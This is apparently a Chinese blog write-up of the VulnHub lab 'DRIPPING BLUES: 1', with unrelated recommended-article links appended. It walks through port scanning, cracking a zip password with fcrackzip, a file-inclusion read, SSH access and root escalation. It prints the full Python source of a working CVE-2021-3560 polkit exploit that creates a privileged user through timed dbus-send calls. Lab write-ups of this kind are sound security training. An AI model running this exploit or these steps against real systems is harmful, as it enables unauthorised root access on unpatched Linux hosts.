准备:

攻击机:虚拟机kali、本机win10。

靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/drippingblues/drippingblues.ova,下载后直接vm打开即可。

知识点:CVE-2021-3560漏洞利用(polkit漏洞)、fcrackzip爆破zip文件密码、文件包含。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.4.0/24,获得靶机地址:192.168.4.146

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.4.146,显示开放了21、22、80端口,开放了ftp服务、ssh服务、web服务。

尝试访问下ftp服务,发现不需要账户名和密码,可以直接登录,在ftp服务中发下一个respectmydrip.zip文件,下载下来进行解压,发现需要密码。

使用fcrackzip进行密码爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip,获得密码:072528035。

解压之后获得respectmydrip.txt文件和secret.zip文件,respectmydrip.txt文件是一条信息:just focus on "drip"。secret.zip文件同样需要密码,但是这个未破解出来。

查看80端口,显示是一串字符串和两个账户名:travisscott & thugger,访问下robots.txt(nmap扫描时已获得),发下两个文件:dripisreal.txt和/etc/dripispowerful.html。

访问下dripisreal.txt和/etc/dripispowerful.html,在dripisreal.txt文件获得提示信息,但是/etc/dripispowerful.html文件无法访问,猜测存在文件包含漏洞。

使用dirmap进行目录扫描,获得index.php和robots.txt(这个上面已知)

访问index.php页面,想到提示:just focus on "drip",猜测存在参数drip,访问下/etc/dripispowerful.html,成功获得密码:imdrippinbiatch。

获取shell:

使用账户名和密码:thugger/imdrippinbiatch进行ssh连接,成功获取shell权限。

在当前账户下发现存在user.txt文件,读取该文件获取第一个flag。

提权:

输入命令:sudo -l查看下当前可以使用的特权命令有哪些,显示不存在。

查看下具有root权限的文件,命令:find / -perm -4000 -type f 2>/dev/null,发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1(emmm,真巧,在上一篇vulnhub靶场之CORROSION: 2刚好也遇到了这个漏洞:CVE-2021-4034)

这个网站:https://github.com/arthepsy/CVE-2021-4034,下载下来poc在kali上进行进行gcc编译,然后上传到靶机进行执行,但是发现靶机缺少gcc无法执行,那只能找下polkit其余漏洞了。

在github上查找下polkit的可利用的exp,发现主要是两个,一个是CVE-2021-3560,一个是CVE-2021-4034(这个上面已经测试过,因缺少gcc无法执行,所以那就测试下CVE-2021-3560)

在这个网站:https://github.com/Almorabea/Polkit-exploit下载下来可利用的exp(下载很缓慢,将代码复制下来也可以使用),并上传到靶机赋予执行权限,然后执行获得root权限。

CVE-2021-3560_exp_py源码
import os
import sys
import time
import subprocess
import random
import pwd print ("**************")
print("Exploit: Privilege escalation with polkit - CVE-2021-3560")
print("Exploit code written by Ahmad Almorabea @almorabea")
print("Original exploit author: Kevin Backhouse ")
print("For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/")
print ("**************")
print("[+] Starting the Exploit ")
time.sleep(3) check = True
counter = 0
while check:
counter = counter +1
process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply','/org/freedesktop/Accounts','org.freedesktop.Accounts.CreateUser','string:ahmed','string:"Ahmad Almorabea','int32:1'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill() user = subprocess.run(['id', 'ahmed'], stdout=subprocess.PIPE).stdout.decode('utf-8')
if user.find("uid") != -1:
print("[+] User Created with the name of ahmed")
print("[+] Timed out at: "+str(Random))
check =False
break
if counter > 2000:
print("[-] Couldn't add the user, try again it may work")
sys.exit(0) for i in range(200):
#print(i)
uid = "/org/freedesktop/Accounts/User"+str(pwd.getpwnam('ahmed').pw_uid) #In case you need to put a password un-comment the code below and put your password after string:yourpassword'
password = "string:"
#res = subprocess.run(['openssl', 'passwd','-5',password], stdout=subprocess.PIPE).stdout.decode('utf-8')
#password = f"string:{res.rstrip()}" process = subprocess.Popen(['dbus-send','--system','--dest=org.freedesktop.Accounts','--type=method_call','--print-reply',uid,'org.freedesktop.Accounts.User.SetPassword',password,'string:GoldenEye'])
try:
#print('1 - Running in process', process.pid)
Random = random.uniform(0.006,0.009)
process.wait(timeout=Random)
process.kill()
except subprocess.TimeoutExpired:
#print('Timed out - killing', process.pid)
process.kill() print("[+] Timed out at: " + str(Random))
print("[+] Exploit Completed, Your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root ") p = subprocess.call("(su ahmed -c 'sudo su')", shell=True)

使用root账户在/root下成功读取flag信息。

闲着无聊,使用root账户安装了gcc,然后切换回了thugger账户,执行CVE-2021-4034的exp,此时也可以正常获取到root权限。

vulnhub靶场之DRIPPING BLUES: 1的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

随机推荐

  1. JZM 的套题(暴力,DP)

    J Z M \rm JZM JZM 即将奔赴 N O I \rm NOI NOI 考场,为了让同学们赶上自己的千分之一水平,刻意出了两道水题给同学们练练. 1.曾经的代码 J Z M \rm JZM ...

  2. django_day09_项目相关

    django_day09_项目相关 展示数据: 给模板一个querySet对象列表,循环出对象列表obj 普通字段 obj.字段名 ----> 数据库中的数据 外键 obj.外键 ------- ...

  3. 01_Linux基础-部署-VMware-Xshell-Xftp-内核-安迪比尔定理

    01_Linux基础-部署-VMware-Xshell-Xftp-内核-安迪比尔定理 博客:https://blog.csdn.net/cpen_web CentOS开源 免费 --- CentOS是 ...

  4. SpringMVC 06: 日期类型的变量的注入和显示

    日期处理和日期显示 日期处理 此时SpringMVC的项目配置和SpringMVC博客集中(指SpringMVC 02)配置相同 日期处理分为单个日期处理和类中全局日期处理 单个日期处理: 使用@Da ...

  5. KingbaseES R6 单节点数据库异机恢复案例

    数据库运行硬件或系统环境如果发生了不可恢复的故障,这时只能采用异机恢复的方式恢复数据库.以下通过例子介绍异机恢复的过程. 一.硬件环境 192.168.237.101 数据库运行源主机 192.168 ...

  6. 银河麒麟v4_sp4安装英伟达驱动

    bios设置视频输出为auto模式 视频线插独立显卡上 先dpkg 安装两个deb包 1.禁用开源驱动:sudo vim /etc/modprobe.d/blacklist.conf,在里面添加 bl ...

  7. OpenFOAM 编程 | One-Dimensional Transient Heat Conduction

    0. 写在前面 本文中将对一维瞬态热传导问题进行数值求解,并基于OpenFOAM类库编写求解器.该问题参考自教科书\(^{[1]}\)示例 8.1. 1. 问题描述 一维瞬态热传导问题控制方程如下 \ ...

  8. 【设计模式】Java设计模式 - 模板模式

    Java设计模式 - 模板模式 不断学习才是王道 继续踏上学习之路,学之分享笔记 总有一天我也能像各位大佬一样 原创作品,更多关注我CSDN: 一个有梦有戏的人 准备将博客园.CSDN一起记录分享自己 ...

  9. dotnet 为大型应用接入 ApplicationStartupManager 启动流程框架

    对于大型的应用软件,特别是客户端应用软件,应用启动过程中,需要执行大量的逻辑,包括各个模块的初始化和注册等等逻辑.大型应用软件的启动过程都是非常复杂的,而客户端应用软件是对应用的启动性能有所要求的,不 ...

  10. Elasticsearch:使用 IP 过滤器限制连接

    文章转载自:https://elasticstack.blog.csdn.net/article/details/107154165